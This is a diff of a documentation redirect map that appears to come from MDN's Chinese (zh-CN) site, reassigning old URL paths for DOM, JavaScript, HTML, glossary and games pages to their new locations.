/zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/Function /zh-CN/docs/Core_JavaScript_1.5_Reference:Global_Objects:Math /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Math /zh-CN/docs/Core_JavaScript_1.5_Reference:Global_Objects:Number /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Number /zh-CN/docs/Core_JavaScript_1.5_Reference:Global_Objects:Object /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object /zh-CN/docs/Core_JavaScript_1.5_Reference:Global_Objects:RegExp /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp /zh-CN/docs/Core_JavaScript_1.5_Reference:Global_Objects:RegExp:lastIndex /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp/lastIndex /zh-CN/docs/Core_JavaScript_1.5_Reference:Global_Properties /zh-CN/docs/Web/JavaScript/Reference/Global_Objects -/zh-CN/docs/Core_JavaScript_1.5_Reference:Reserved_Words /zh-CN/docs/Web/JavaScript/Reference/Reserved_words +/zh-CN/docs/Core_JavaScript_1.5_Reference:Reserved_Words /zh-CN/docs/conflicting/Web/JavaScript/Reference/Lexical_grammar /zh-CN/docs/Core_JavaScript_1.5_Reference:Statements:throw /zh-CN/docs/Web/JavaScript/Reference/Statements/throw +/zh-CN/docs/DHTML /zh-CN/docs/Glossary/DHTML /zh-CN/docs/DOM/Blob /zh-CN/docs/Web/API/Blob /zh-CN/docs/DOM/BlobBuilder /zh-CN/docs/Web/API/BlobBuilder /zh-CN/docs/DOM/CSSRule /zh-CN/docs/Web/API/CSSRule @@ -277,13 +282,13 @@ /zh-CN/docs/DOM/FileList /zh-CN/docs/Web/API/FileList /zh-CN/docs/DOM/FileReader /zh-CN/docs/Web/API/FileReader /zh-CN/docs/DOM/FileReaderSync /zh-CN/docs/Web/API/FileReaderSync -/zh-CN/docs/DOM/File_APIs/Filesystem/Basic_Concepts_About_the_Filesystem_API /zh-CN/docs/WebGuide/API/File_System/Introduction -/zh-CN/docs/DOM/File_APIs/Filesystem/文件系统API的基本概念 /zh-CN/docs/WebGuide/API/File_System/Introduction +/zh-CN/docs/DOM/File_APIs/Filesystem/Basic_Concepts_About_the_Filesystem_API /zh-CN/docs/Web/API/File_and_Directory_Entries_API/Introduction +/zh-CN/docs/DOM/File_APIs/Filesystem/文件系统API的基本概念 /zh-CN/docs/Web/API/File_and_Directory_Entries_API/Introduction /zh-CN/docs/DOM/HTMLCanvasElement /zh-CN/docs/Web/API/HTMLCanvasElement /zh-CN/docs/DOM/HTMLDocument /zh-CN/docs/Web/API/HTMLDocument /zh-CN/docs/DOM/HTMLFieldSetElement /zh-CN/docs/Web/API/HTMLFieldSetElement /zh-CN/docs/DOM/ImageData /zh-CN/docs/Web/API/ImageData -/zh-CN/docs/DOM/Input.mozSetFileNameArray /zh-CN/docs/Web/API/HTMLInputElement/mozSetFileNameArray +/zh-CN/docs/DOM/Input.mozSetFileNameArray /zh-CN/docs/conflicting/Web/API/HTMLInputElement /zh-CN/docs/DOM/KeyboardEvent /zh-CN/docs/Web/API/KeyboardEvent /zh-CN/docs/DOM/MouseScrollEvent /zh-CN/docs/Web/API/MouseScrollEvent /zh-CN/docs/DOM/MouseWheelEvent /zh-CN/docs/Web/API/MouseWheelEvent @@ -292,7 +297,7 @@ /zh-CN/docs/DOM/Node.appendChild /zh-CN/docs/Web/API/Node/appendChild /zh-CN/docs/DOM/Node.attributes /zh-CN/docs/Web/API/Element/attributes /zh-CN/docs/DOM/Node.baseURI /zh-CN/docs/Web/API/Node/baseURI -/zh-CN/docs/DOM/Node.baseURIObject /zh-CN/docs/Web/API/Node/baseURIObject +/zh-CN/docs/DOM/Node.baseURIObject /zh-CN/docs/conflicting/Web/API/Node /zh-CN/docs/DOM/Node.childNodes /zh-CN/docs/Web/API/Node/childNodes /zh-CN/docs/DOM/Node.cloneNode /zh-CN/docs/Web/API/Node/cloneNode /zh-CN/docs/DOM/Node.compareDocumentPosition /zh-CN/docs/Web/API/Node/compareDocumentPosition @@ -324,7 +329,7 @@ /zh-CN/docs/DOM/NodeList.item /zh-CN/docs/Web/API/NodeList/item /zh-CN/docs/DOM/Selection /zh-CN/docs/Web/API/Selection /zh-CN/docs/DOM/Selection/collapseToStart /zh-CN/docs/Web/API/Selection/collapseToStart -/zh-CN/docs/DOM/Storage /zh-CN/docs/Web/Guide/API/DOM/Storage +/zh-CN/docs/DOM/Storage /zh-CN/docs/conflicting/Web/API/Web_Storage_API /zh-CN/docs/DOM/StyleSheet /zh-CN/docs/Web/API/StyleSheet /zh-CN/docs/DOM/StyleSheet/href /zh-CN/docs/Web/API/StyleSheet/href /zh-CN/docs/DOM/Text.isElementContentWhitespace /zh-CN/docs/Web/API/Text/isElementContentWhitespace @@ -369,7 +374,7 @@ /zh-CN/docs/DOM/document.anchors /zh-CN/docs/Web/API/Document/anchors /zh-CN/docs/DOM/document.applets /zh-CN/docs/Web/API/Document/applets /zh-CN/docs/DOM/document.async /zh-CN/docs/Web/API/XMLDocument/async -/zh-CN/docs/DOM/document.baseURIObject /zh-CN/docs/Web/API/Node/baseURIObject +/zh-CN/docs/DOM/document.baseURIObject /zh-CN/docs/conflicting/Web/API/Node /zh-CN/docs/DOM/document.body /zh-CN/docs/Web/API/Document/body /zh-CN/docs/DOM/document.characterSet /zh-CN/docs/Web/API/Document/characterSet /zh-CN/docs/DOM/document.close /zh-CN/docs/Web/API/Document/close @@ -395,14 +400,14 @@ /zh-CN/docs/DOM/document.height /zh-CN/docs/Web/API/Document/height /zh-CN/docs/DOM/document.images /zh-CN/docs/Web/API/Document/images /zh-CN/docs/DOM/document.importNode /zh-CN/docs/Web/API/Document/importNode -/zh-CN/docs/DOM/document.inputEncoding /zh-CN/docs/Web/API/Document/inputEncoding +/zh-CN/docs/DOM/document.inputEncoding /zh-CN/docs/conflicting/Web/API/Document/characterSet /zh-CN/docs/DOM/document.lastModified /zh-CN/docs/Web/API/Document/lastModified /zh-CN/docs/DOM/document.lastStyleSheetSet /zh-CN/docs/Web/API/Document/lastStyleSheetSet /zh-CN/docs/DOM/document.linkColor /zh-CN/docs/Web/API/Document/linkColor /zh-CN/docs/DOM/document.load /zh-CN/docs/Web/API/XMLDocument/load -/zh-CN/docs/DOM/document.mozFullScreen /zh-CN/docs/Web/API/Document/mozFullScreen -/zh-CN/docs/DOM/document.mozFullScreenElement /zh-CN/docs/Web/API/Document/mozFullScreenElement -/zh-CN/docs/DOM/document.mozFullScreenEnabled /zh-CN/docs/Web/API/Document/mozFullScreenEnabled +/zh-CN/docs/DOM/document.mozFullScreen /zh-CN/docs/Web/API/Document/fullscreen +/zh-CN/docs/DOM/document.mozFullScreenElement /zh-CN/docs/Web/API/DocumentOrShadowRoot/fullscreenElement +/zh-CN/docs/DOM/document.mozFullScreenEnabled /zh-CN/docs/Web/API/Document/fullscreenEnabled /zh-CN/docs/DOM/document.onreadystatechange /en-US/docs/Web/API/Document/readystatechange_event /zh-CN/docs/DOM/document.readyState /zh-CN/docs/Web/API/Document/readyState /zh-CN/docs/DOM/document.referrer /zh-CN/docs/Web/API/Document/referrer @@ -412,7 +417,7 @@ /zh-CN/docs/DOM/element /zh-CN/docs/Web/API/element /zh-CN/docs/DOM/element.addEventListener /zh-CN/docs/Web/API/EventTarget/addEventListener /zh-CN/docs/DOM/element.attributes /zh-CN/docs/Web/API/Element/attributes -/zh-CN/docs/DOM/element.blur /zh-CN/docs/Web/API/HTMLElement/blur +/zh-CN/docs/DOM/element.blur /zh-CN/docs/Web/API/HTMLOrForeignElement/blur /zh-CN/docs/DOM/element.childElementCount /zh-CN/docs/Web/API/ParentNode/childElementCount /zh-CN/docs/DOM/element.childNodes /zh-CN/docs/Web/API/Node/childNodes /zh-CN/docs/DOM/element.classList /zh-CN/docs/Web/API/Element/classList @@ -425,7 +430,7 @@ /zh-CN/docs/DOM/element.cloneNode /zh-CN/docs/Web/API/Node/cloneNode /zh-CN/docs/DOM/element.contentEditable /zh-CN/docs/Web/API/HTMLElement/contentEditable /zh-CN/docs/DOM/element.dir /zh-CN/docs/Web/API/HTMLElement/dir -/zh-CN/docs/DOM/element.focus /zh-CN/docs/Web/API/HTMLElement/focus +/zh-CN/docs/DOM/element.focus /zh-CN/docs/Web/API/HTMLOrForeignElement/focus /zh-CN/docs/DOM/element.getElementsByTagName /zh-CN/docs/Web/API/Element/getElementsByTagName /zh-CN/docs/DOM/element.hasAttributes /zh-CN/docs/Web/API/Element/hasAttributes /zh-CN/docs/DOM/element.hasChildNodes /zh-CN/docs/Web/API/Node/hasChildNodes @@ -434,7 +439,7 @@ /zh-CN/docs/DOM/element.insertAdjacentHTML /zh-CN/docs/Web/API/Element/insertAdjacentHTML /zh-CN/docs/DOM/element.isContentEditable /zh-CN/docs/Web/API/HTMLElement/isContentEditable /zh-CN/docs/DOM/element.mozmatchesselector /zh-CN/docs/Web/API/Element/matches -/zh-CN/docs/DOM/element.onafterscriptexecute /zh-CN/docs/Web/API/Element/onafterscriptexecute +/zh-CN/docs/DOM/element.onafterscriptexecute /zh-CN/docs/Web/API/Document/onafterscriptexecute /zh-CN/docs/DOM/element.onbeforescriptexecute /zh-CN/docs/Web/API/Document/onbeforescriptexecute /zh-CN/docs/DOM/element.onblur /zh-CN/docs/Web/API/GlobalEventHandlers/onblur /zh-CN/docs/DOM/element.onchange /zh-CN/docs/Web/API/GlobalEventHandlers/onchange @@ -456,12 +461,12 @@ /zh-CN/docs/DOM/element.previousElementSibling /zh-CN/docs/Web/API/NonDocumentTypeChildNode/previousElementSibling /zh-CN/docs/DOM/element.removeAttribute /zh-CN/docs/Web/API/Element/removeAttribute /zh-CN/docs/DOM/element.setCapture /zh-CN/docs/Web/API/Element/setCapture -/zh-CN/docs/DOM/element.tabIndex /zh-CN/docs/Web/API/HTMLElement/tabIndex +/zh-CN/docs/DOM/element.tabIndex /zh-CN/docs/Web/API/HTMLOrForeignElement/tabIndex /zh-CN/docs/DOM/element.tagName /zh-CN/docs/Web/API/Element/tagName /zh-CN/docs/DOM/event /zh-CN/docs/Web/API/Event -/zh-CN/docs/DOM/event.altKey /zh-CN/docs/Web/API/event.altKey +/zh-CN/docs/DOM/event.altKey /zh-CN/docs/conflicting/Web/API/MouseEvent/altKey /zh-CN/docs/DOM/event.bubbles /zh-CN/docs/Web/API/Event/bubbles -/zh-CN/docs/DOM/event.button /zh-CN/docs/Web/API/event.button +/zh-CN/docs/DOM/event.button /zh-CN/docs/conflicting/Web/API/MouseEvent/button /zh-CN/docs/DOM/event.cancelBubble /zh-CN/docs/Web/API/UIEvent/cancelBubble /zh-CN/docs/DOM/event.cancelable /zh-CN/docs/Web/API/Event/cancelable /zh-CN/docs/DOM/event.currentTarget /zh-CN/docs/Web/API/Event/currentTarget @@ -470,7 +475,7 @@ /zh-CN/docs/DOM/event.isTrusted /zh-CN/docs/Web/API/Event/isTrusted /zh-CN/docs/DOM/event.pageY /zh-CN/docs/Web/API/UIEvent/pageY /zh-CN/docs/DOM/event.preventDefault /zh-CN/docs/Web/API/Event/preventDefault -/zh-CN/docs/DOM/event.shiftKey /zh-CN/docs/Web/API/event.shiftKey +/zh-CN/docs/DOM/event.shiftKey /zh-CN/docs/conflicting/Web/API/MouseEvent/shiftKey /zh-CN/docs/DOM/event.stopImmediatePropagation /zh-CN/docs/Web/API/Event/stopImmediatePropagation /zh-CN/docs/DOM/event.stopPropagation /zh-CN/docs/Web/API/Event/stopPropagation /zh-CN/docs/DOM/event.timeStamp /zh-CN/docs/Web/API/Event/timeStamp @@ -491,11 +496,11 @@ /zh-CN/docs/DOM/window.URL.revokeObjectURL /zh-CN/docs/Web/API/URL/revokeObjectURL /zh-CN/docs/DOM/window.alert /zh-CN/docs/Web/API/Window/alert /zh-CN/docs/DOM/window.applicationCache /zh-CN/docs/Web/API/Window/applicationCache -/zh-CN/docs/DOM/window.atob /zh-CN/docs/Web/API/WindowBase64/atob -/zh-CN/docs/DOM/window.btoa /zh-CN/docs/Web/API/WindowBase64/btoa +/zh-CN/docs/DOM/window.atob /zh-CN/docs/Web/API/WindowOrWorkerGlobalScope/atob +/zh-CN/docs/DOM/window.btoa /zh-CN/docs/Web/API/WindowOrWorkerGlobalScope/btoa /zh-CN/docs/DOM/window.cancelAnimationFrame /zh-CN/docs/Web/API/Window/cancelAnimationFrame /zh-CN/docs/DOM/window.clearImmediate /zh-CN/docs/Web/API/Window/clearImmediate -/zh-CN/docs/DOM/window.clearInterval /zh-CN/docs/Web/API/Window/clearInterval +/zh-CN/docs/DOM/window.clearInterval /zh-CN/docs/Web/API/WindowOrWorkerGlobalScope/clearInterval /zh-CN/docs/DOM/window.close /zh-CN/docs/Web/API/Window/close /zh-CN/docs/DOM/window.content /zh-CN/docs/Web/API/Window/content /zh-CN/docs/DOM/window.document /zh-CN/docs/Web/API/Window/document @@ -525,17 +530,17 @@ /zh-CN/docs/DOM/window.navigator.userAgent /zh-CN/docs/Web/API/NavigatorID/userAgent /zh-CN/docs/DOM/window.navigator.vendor /zh-CN/docs/Web/API/Navigator/vendor /zh-CN/docs/DOM/window.navigator.vendorSub /zh-CN/docs/Web/API/Navigator/vendorSub -/zh-CN/docs/DOM/window.onbeforeunload /zh-CN/docs/Web/API/Window/onbeforeunload +/zh-CN/docs/DOM/window.onbeforeunload /zh-CN/docs/Web/API/WindowEventHandlers/onbeforeunload /zh-CN/docs/DOM/window.oncontextmenu /zh-CN/docs/Web/API/GlobalEventHandlers/oncontextmenu -/zh-CN/docs/DOM/window.onhashchange /zh-CN/docs/Web/API/Window/onhashchange +/zh-CN/docs/DOM/window.onhashchange /zh-CN/docs/Web/API/WindowEventHandlers/onhashchange /zh-CN/docs/DOM/window.oninput /zh-CN/docs/Web/API/GlobalEventHandlers/oninput -/zh-CN/docs/DOM/window.onmouseup /zh-CN/docs/Web/API/Window/onmouseup -/zh-CN/docs/DOM/window.onpopstate /zh-CN/docs/Web/API/Window/onpopstate +/zh-CN/docs/DOM/window.onmouseup /zh-CN/docs/conflicting/Web/API/GlobalEventHandlers/onmouseup +/zh-CN/docs/DOM/window.onpopstate /zh-CN/docs/Web/API/WindowEventHandlers/onpopstate /zh-CN/docs/DOM/window.onresize /zh-CN/docs/Web/API/GlobalEventHandlers/onresize -/zh-CN/docs/DOM/window.onscroll /zh-CN/docs/Web/API/Window/onscroll +/zh-CN/docs/DOM/window.onscroll /zh-CN/docs/conflicting/Web/API/GlobalEventHandlers/onscroll /zh-CN/docs/DOM/window.onselect /zh-CN/docs/Web/API/GlobalEventHandlers/onselect /zh-CN/docs/DOM/window.onsubmit /zh-CN/docs/Web/API/GlobalEventHandlers/onsubmit -/zh-CN/docs/DOM/window.onunload /zh-CN/docs/Web/API/Window/onunload +/zh-CN/docs/DOM/window.onunload /zh-CN/docs/Web/API/WindowEventHandlers/onunload /zh-CN/docs/DOM/window.open /zh-CN/docs/Web/API/Window/open /zh-CN/docs/DOM/window.openDialog /zh-CN/docs/Web/API/Window/openDialog /zh-CN/docs/DOM/window.opener /zh-CN/docs/Web/API/Window/opener @@ -547,12 +552,12 @@ /zh-CN/docs/DOM/window.requestAnimationFrame /zh-CN/docs/Web/API/Window/requestAnimationFrame /zh-CN/docs/DOM/window.scrollByPages /zh-CN/docs/Web/API/Window/scrollByPages /zh-CN/docs/DOM/window.setImmediate /zh-CN/docs/Web/API/Window/setImmediate -/zh-CN/docs/DOM/window.setInterval /zh-CN/docs/Web/API/Window/setInterval -/zh-CN/docs/DOM/window.setTimeout /zh-CN/docs/Web/API/Window/setTimeout -/zh-CN/docs/DOM/window.setTimeout12 /zh-CN/docs/Web/API/Window/setTimeout -/zh-CN/docs/DOM/文件系统API的基本概念 /zh-CN/docs/WebGuide/API/File_System/Introduction +/zh-CN/docs/DOM/window.setInterval /zh-CN/docs/Web/API/WindowOrWorkerGlobalScope/setInterval +/zh-CN/docs/DOM/window.setTimeout /zh-CN/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout +/zh-CN/docs/DOM/window.setTimeout12 /zh-CN/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout +/zh-CN/docs/DOM/文件系统API的基本概念 /zh-CN/docs/Web/API/File_and_Directory_Entries_API/Introduction /zh-CN/docs/DOM:HTMLDocument /zh-CN/docs/Web/API/HTMLDocument -/zh-CN/docs/DOM:Storage /zh-CN/docs/Web/Guide/API/DOM/Storage +/zh-CN/docs/DOM:Storage /zh-CN/docs/conflicting/Web/API/Web_Storage_API /zh-CN/docs/DOM:XMLDocument /zh-CN/docs/Web/API/XMLDocument /zh-CN/docs/DOM:document /zh-CN/docs/Web/API/Document /zh-CN/docs/DOM:document.createElement /zh-CN/docs/Web/API/document/createElement @@ -587,10 +592,11 @@ /zh-CN/docs/Developer_Guide/Adding_APIs_to_the_navigator_object /zh-CN/docs/Mozilla/Developer_guide/Adding_APIs_to_the_navigator_object /zh-CN/docs/Developer_Guide/Source_Code /zh-CN/docs/Mozilla/Developer_guide/Source_Code /zh-CN/docs/Developer_Guide/Source_Code/通过Mercurial获取源码 /zh-CN/docs/Mozilla/Developer_guide/Source_Code/LatestPassingSource -/zh-CN/docs/Document_Object_Model_(DOM)/window.onbeforeunload /zh-CN/docs/Web/API/Window/onbeforeunload +/zh-CN/docs/Document_Object_Model_(DOM)/window.onbeforeunload /zh-CN/docs/Web/API/WindowEventHandlers/onbeforeunload /zh-CN/docs/Download_Mozilla_Source_Code /en-US/docs/Mozilla/Developer_guide/Source_Code/Downloading_Source_Archives /zh-CN/docs/DragDrop/拖拽 /zh-CN/docs/Drag_and_Drop /zh-CN/docs/Enumerability_and_ownership_of_properties /zh-CN/docs/Web/JavaScript/Enumerability_and_ownership_of_properties +/zh-CN/docs/Example_2_-_Using_UL /zh-CN/docs/orphaned/Example_2_-_Using_UL /zh-CN/docs/Extension_Frequently_Asked_Questions /zh-CN/docs/Mozilla/add-ons/Extension_Frequently_Asked_Questions_move /zh-CN/docs/Firefox_12_for_developers /zh-CN/docs/Mozilla/Firefox/Releases/12 /zh-CN/docs/Firefox_14_for_developers /zh-CN/docs/Mozilla/Firefox/Releases/14 @@ -603,21 +609,66 @@ /zh-CN/docs/Firefox_22_for_developers /zh-CN/docs/Mozilla/Firefox/Releases/22 /zh-CN/docs/Firefox_3.6_for_developers /zh-CN/docs/Mozilla/Firefox/Releases/3.6 /zh-CN/docs/Firefox_3_for_developers /zh-CN/docs/Mozilla/Firefox/Releases/3 +/zh-CN/docs/Games/Introduction_to_HTML5_Game_Gevelopment_(summary) /zh-CN/docs/Games/Introduction_to_HTML5_Game_Development +/zh-CN/docs/Games/Publishing_games/游戏货币化 /zh-CN/docs/Games/Publishing_games/Game_monetization +/zh-CN/docs/Games/Techniques/Control_mechanisms/移动端触摸控制 /zh-CN/docs/Games/Techniques/Control_mechanisms/Mobile_touch +/zh-CN/docs/Games/Tools/引擎和工具 /zh-CN/docs/orphaned/Games/Tools/Engines_and_tools /zh-CN/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript/创建、绘制画布 /zh-CN/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript/Create_the_Canvas_and_draw_on_it /zh-CN/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript/反弹的墙壁 /zh-CN/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript/Bounce_off_the_walls /zh-CN/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript/撞击处理 /zh-CN/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript/Collision_detection +/zh-CN/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript/收尾工作 /zh-CN/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript/Finishing_up /zh-CN/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript/让球动起来 /zh-CN/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript/Move_the_ball -/zh-CN/docs/Getting_Started__junk /zh-CN/docs/Web/Guide/CSS/Getting_started +/zh-CN/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript/鼠标控制 /zh-CN/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript/Mouse_controls +/zh-CN/docs/Games/简介 /zh-CN/docs/Games/Introduction +/zh-CN/docs/Getting_Started__junk /zh-CN/docs/conflicting/Learn/CSS/First_steps +/zh-CN/docs/Glossary/DTD /zh-CN/docs/conflicting/Glossary/Doctype +/zh-CN/docs/Glossary/Header /zh-CN/docs/Glossary/HTTP_header +/zh-CN/docs/Glossary/IP地址 /zh-CN/docs/Glossary/IP_Address +/zh-CN/docs/Glossary/Serialize /zh-CN/docs/Glossary/Serialization +/zh-CN/docs/Glossary/主轴 /zh-CN/docs/Glossary/Main_Axis +/zh-CN/docs/Glossary/交叉轴 /zh-CN/docs/Glossary/Cross_Axis +/zh-CN/docs/Glossary/代理服务器 /zh-CN/docs/Glossary/Proxy_server +/zh-CN/docs/Glossary/优雅降级 /zh-CN/docs/Glossary/Graceful_degradation +/zh-CN/docs/Glossary/伪类 /zh-CN/docs/Glossary/Pseudo-class /zh-CN/docs/Glossary/作用域 /zh-CN/docs/Glossary/Scope +/zh-CN/docs/Glossary/元素 /zh-CN/docs/Glossary/Element /zh-CN/docs/Glossary/全局文档环境 /zh-CN/docs/Glossary/document_environment +/zh-CN/docs/Glossary/卡片分类法 /zh-CN/docs/Glossary/Card_sorting /zh-CN/docs/Glossary/变量提升 /zh-CN/docs/Glossary/Hoisting /zh-CN/docs/Glossary/回流 /zh-CN/docs/Glossary/Reflow +/zh-CN/docs/Glossary/地址路由参数域 /zh-CN/docs/Glossary/ARPA +/zh-CN/docs/Glossary/域名 /zh-CN/docs/Glossary/Domain_name +/zh-CN/docs/Glossary/基线 /zh-CN/docs/Glossary/baseline +/zh-CN/docs/Glossary/字符编码 /zh-CN/docs/Glossary/character_encoding +/zh-CN/docs/Glossary/幂等 /zh-CN/docs/Glossary/Idempotent +/zh-CN/docs/Glossary/异步 /zh-CN/docs/Glossary/Asynchronous +/zh-CN/docs/Glossary/抽象编程 /zh-CN/docs/Glossary/Abstraction +/zh-CN/docs/Glossary/数字证书 /zh-CN/docs/Glossary/Digital_certificate +/zh-CN/docs/Glossary/数据库 /zh-CN/docs/Glossary/Database +/zh-CN/docs/Glossary/正常模式 /zh-CN/docs/Glossary/Sloppy_mode +/zh-CN/docs/Glossary/浏览器 /zh-CN/docs/Glossary/Browser +/zh-CN/docs/Glossary/渐进增强 /zh-CN/docs/Glossary/Progressive_Enhancement +/zh-CN/docs/Glossary/源 /zh-CN/docs/Glossary/Origin +/zh-CN/docs/Glossary/禁止修改的消息首部 /zh-CN/docs/Glossary/Forbidden_header_name +/zh-CN/docs/Glossary/空元素 /zh-CN/docs/Glossary/Empty_element +/zh-CN/docs/Glossary/立即执行函数表达式 /zh-CN/docs/Glossary/IIFE +/zh-CN/docs/Glossary/第一字节时间 /zh-CN/docs/Glossary/time_to_first_byte +/zh-CN/docs/Glossary/简单头部 /zh-CN/docs/Glossary/Simple_header +/zh-CN/docs/Glossary/算法 /zh-CN/docs/Glossary/Algorithm +/zh-CN/docs/Glossary/类型转换 /zh-CN/docs/Glossary/Type_Conversion +/zh-CN/docs/Glossary/编译 /zh-CN/docs/Glossary/Compile +/zh-CN/docs/Glossary/编译时间 /zh-CN/docs/Glossary/Compile_time +/zh-CN/docs/Glossary/语义 /zh-CN/docs/Glossary/Semantics +/zh-CN/docs/Glossary/请求头 /zh-CN/docs/Glossary/Request_header +/zh-CN/docs/Glossary/通用首部 /zh-CN/docs/Glossary/General_header +/zh-CN/docs/Glossary/面向对象编程 /zh-CN/docs/Glossary/OOP +/zh-CN/docs/Glossary_of_translation /zh-CN/docs/orphaned/Glossary_of_translation /zh-CN/docs/HTML /zh-CN/docs/Web/HTML /zh-CN/docs/HTML/Block-level_elements /zh-CN/docs/Web/HTML/Block-level_elements /zh-CN/docs/HTML/Canvas /zh-CN/docs/Web/API/Canvas_API -/zh-CN/docs/HTML/Canvas/Drawing_graphics_with_canvas /zh-CN/docs/Web/API/Canvas_API/Drawing_graphics_with_canvas +/zh-CN/docs/HTML/Canvas/Drawing_graphics_with_canvas /zh-CN/docs/conflicting/Web/API/Canvas_API/Tutorial /zh-CN/docs/HTML/Canvas/Tutorial /zh-CN/docs/Web/API/Canvas_API/Tutorial -/zh-CN/docs/HTML/Content_Editable /zh-CN/docs/Web/Guide/HTML/Content_Editable +/zh-CN/docs/HTML/Content_Editable /zh-CN/docs/Web/Guide/HTML/Editable_content /zh-CN/docs/HTML/Element /zh-CN/docs/Web/HTML/Element /zh-CN/docs/HTML/Element/Input /zh-CN/docs/Web/HTML/Element/Input /zh-CN/docs/HTML/Element/Source /zh-CN/docs/Web/HTML/Element/source @@ -627,7 +678,7 @@ /zh-CN/docs/HTML/Element/audio /zh-CN/docs/Web/HTML/Element/audio /zh-CN/docs/HTML/Element/canvas /zh-CN/docs/Web/HTML/Element/canvas /zh-CN/docs/HTML/Element/code /zh-CN/docs/Web/HTML/Element/code -/zh-CN/docs/HTML/Element/command /zh-CN/docs/Web/HTML/Element/command +/zh-CN/docs/HTML/Element/command /zh-CN/docs/orphaned/Web/HTML/Element/command /zh-CN/docs/HTML/Element/datalist /zh-CN/docs/Web/HTML/Element/datalist /zh-CN/docs/HTML/Element/header /zh-CN/docs/Web/HTML/Element/header /zh-CN/docs/HTML/Element/iframe /zh-CN/docs/Web/HTML/Element/iframe @@ -637,14 +688,14 @@ /zh-CN/docs/HTML/Element/section /zh-CN/docs/Web/HTML/Element/section /zh-CN/docs/HTML/Element/video /zh-CN/docs/Web/HTML/Element/video /zh-CN/docs/HTML/Element/视频 /zh-CN/docs/Web/HTML/Element/video -/zh-CN/docs/HTML/Focus_management_in_HTML /zh-CN/docs/Web/HTML/Focus_management_in_HTML -/zh-CN/docs/HTML/Forms /zh-CN/docs/Learn/HTML/Forms -/zh-CN/docs/HTML/Forms/Sending_forms_through_JavaScript /zh-CN/docs/Learn/HTML/Forms/Sending_forms_through_JavaScript -/zh-CN/docs/HTML/Forms_in_HTML /zh-CN/docs/Web/Guide/HTML/Forms_in_HTML +/zh-CN/docs/HTML/Focus_management_in_HTML /zh-CN/docs/conflicting/Web/API/Document/hasFocus +/zh-CN/docs/HTML/Forms /zh-CN/docs/Learn/Forms +/zh-CN/docs/HTML/Forms/Sending_forms_through_JavaScript /zh-CN/docs/Learn/Forms/Sending_forms_through_JavaScript +/zh-CN/docs/HTML/Forms_in_HTML /zh-CN/docs/orphaned/Learn/HTML/Forms/HTML5_updates /zh-CN/docs/HTML/HTML5 /zh-CN/docs/Web/Guide/HTML/HTML5 /zh-CN/docs/HTML/HTML5-and-his-friends /zh-CN/docs/Web/Guide/HTML/HTML5 -/zh-CN/docs/HTML/HTML5/HTML5_Tags_List /zh-CN/docs/Web/Guide/HTML/HTML5/HTML5_element_list -/zh-CN/docs/HTML/HTML5/HTML5_Thematic_Classification /zh-CN/docs/Web/Guide/HTML/HTML5/HTML5_Thematic_Classification +/zh-CN/docs/HTML/HTML5/HTML5_Tags_List /zh-CN/docs/conflicting/Web/HTML/Element +/zh-CN/docs/HTML/HTML5/HTML5_Thematic_Classification /zh-CN/docs/conflicting/Web/Guide/HTML/HTML5 /zh-CN/docs/HTML/HTML5/HTML5_入门 /zh-CN/docs/Web/Guide/HTML/HTML5/Introduction_to_HTML5 /zh-CN/docs/HTML/HTML_Elements /zh-CN/docs/Web/HTML/Element/Heading_Elements /zh-CN/docs/HTML/HTML_Elements/time /zh-CN/docs/Web/HTML/Element/time @@ -653,13 +704,13 @@ /zh-CN/docs/HTML/块级元素 /zh-CN/docs/Web/HTML/Block-level_elements /zh-CN/docs/HTML\Canvas\Tutorial /zh-CN/docs/Web/API/Canvas_API/Tutorial /zh-CN/docs/HTTP /zh-CN/docs/Web/HTTP -/zh-CN/docs/HTTP/HTTP_response_codes /zh-CN/docs/Web/HTTP/HTTP_response_codes +/zh-CN/docs/HTTP/HTTP_response_codes /zh-CN/docs/conflicting/Web/HTTP/Status /zh-CN/docs/IndexedDB /zh-CN/docs/Web/API/IndexedDB_API /zh-CN/docs/IndexedDB/Basic_Concepts_Behind_IndexedDB /zh-CN/docs/Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB /zh-CN/docs/IndexedDB/IDBObjectStore /zh-CN/docs/Web/API/IDBObjectStore /zh-CN/docs/IndexedDB/Using_IndexedDB /zh-CN/docs/Web/API/IndexedDB_API/Using_IndexedDB /zh-CN/docs/Introducing_the_Audio_API_Extension /zh-CN/docs/Introducing_Audio_API_Extension -/zh-CN/docs/Introduction_to_using_XPath_in_JavaScript /zh-CN/docs/Web/JavaScript/Introduction_to_using_XPath_in_JavaScript +/zh-CN/docs/Introduction_to_using_XPath_in_JavaScript /zh-CN/docs/Web/XPath/Introduction_to_using_XPath_in_JavaScript /zh-CN/docs/JS-ref /zh-CN/docs/Web/JavaScript/Reference /zh-CN/docs/JS-ref/About /zh-CN/docs/Web/JavaScript/Reference/About /zh-CN/docs/JS-ref/Array /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array @@ -674,14 +725,14 @@ /zh-CN/docs/JS-ref/Array/length /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/length /zh-CN/docs/JS-ref/Array/map /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/map /zh-CN/docs/JS-ref/Array/pop /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/pop -/zh-CN/docs/JS-ref/Array/prototype /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/prototype +/zh-CN/docs/JS-ref/Array/prototype /zh-CN/docs/orphaned/Web/JavaScript/Reference/Global_Objects/Array/prototype 